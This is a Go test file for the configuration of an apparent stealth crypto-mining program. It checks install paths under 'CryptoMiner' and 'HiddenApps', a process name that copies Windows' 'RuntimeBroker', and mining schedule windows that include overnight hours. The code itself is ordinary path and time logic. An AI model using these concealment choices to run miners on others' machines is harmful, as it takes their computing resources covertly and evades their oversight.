package config

import (
	"os"
	"testing"
	"time"
)

func TestInstallDirectoryLocalAppData(t *testing.T) {
	t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)

	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
		WorkerName:          "office pc",
		BuildID:             "1234567890abcdef",
		ProcessName:         "RuntimeBroker",
		InstallBase:         "localappdata",
		InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
	}}

	got, err := cfg.InstallDirectory()
	if err != nil {
		t.Fatal(err)
	}
	want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
	if got != want {
		t.Fatalf("expected %q, got %q", want, got)
	}
}

func TestInstallDirectoryCustomBase(t *testing.T) {
	t.Setenv("ProgramData", `C:\ProgramData`)

	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
		WorkerName:        "pc1",
		BuildID:           "build",
		InstallBase:       "custom",
		InstallCustomBase: `%ProgramData%\HiddenApps`,
		InstallRelativePath: "{process}",
	}}

	got, err := cfg.InstallDirectory()
	if err != nil {
		t.Fatal(err)
	}
	want := `C:\ProgramData\HiddenApps\pc1`
	if got != want {
		t.Fatalf("expected %q, got %q", want, got)
	}
}

func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
		InstallBase: "custom",
	}}
	if _, err := cfg.InstallDirectory(); err == nil {
		t.Fatal("expected error for missing custom base")
	}
}

func TestInScheduleWindowSameDay(t *testing.T) {
	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
		ScheduleStart: "09:00",
		ScheduleEnd:   "17:00",
	}}
	now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
	if !cfg.InScheduleWindow(now) {
		t.Fatal("expected inside schedule window")
	}
	now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
	if cfg.InScheduleWindow(now) {
		t.Fatal("expected outside schedule window")
	}
}

func TestInScheduleWindowCrossMidnight(t *testing.T) {
	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
		ScheduleStart: "21:00",
		ScheduleEnd:   "06:00",
	}}
	if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
		t.Fatal("expected inside overnight window")
	}
	if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
		t.Fatal("expected inside early morning window")
	}
	if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
		t.Fatal("expected outside midday window")
	}
}

func TestExpandWindowsEnv(t *testing.T) {
	os.Setenv("LOCALAPPDATA", `C:\Local`)
	got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
	if got != `C:\Local\Apps` {
		t.Fatalf("unexpected expansion: %s", got)
	}
}
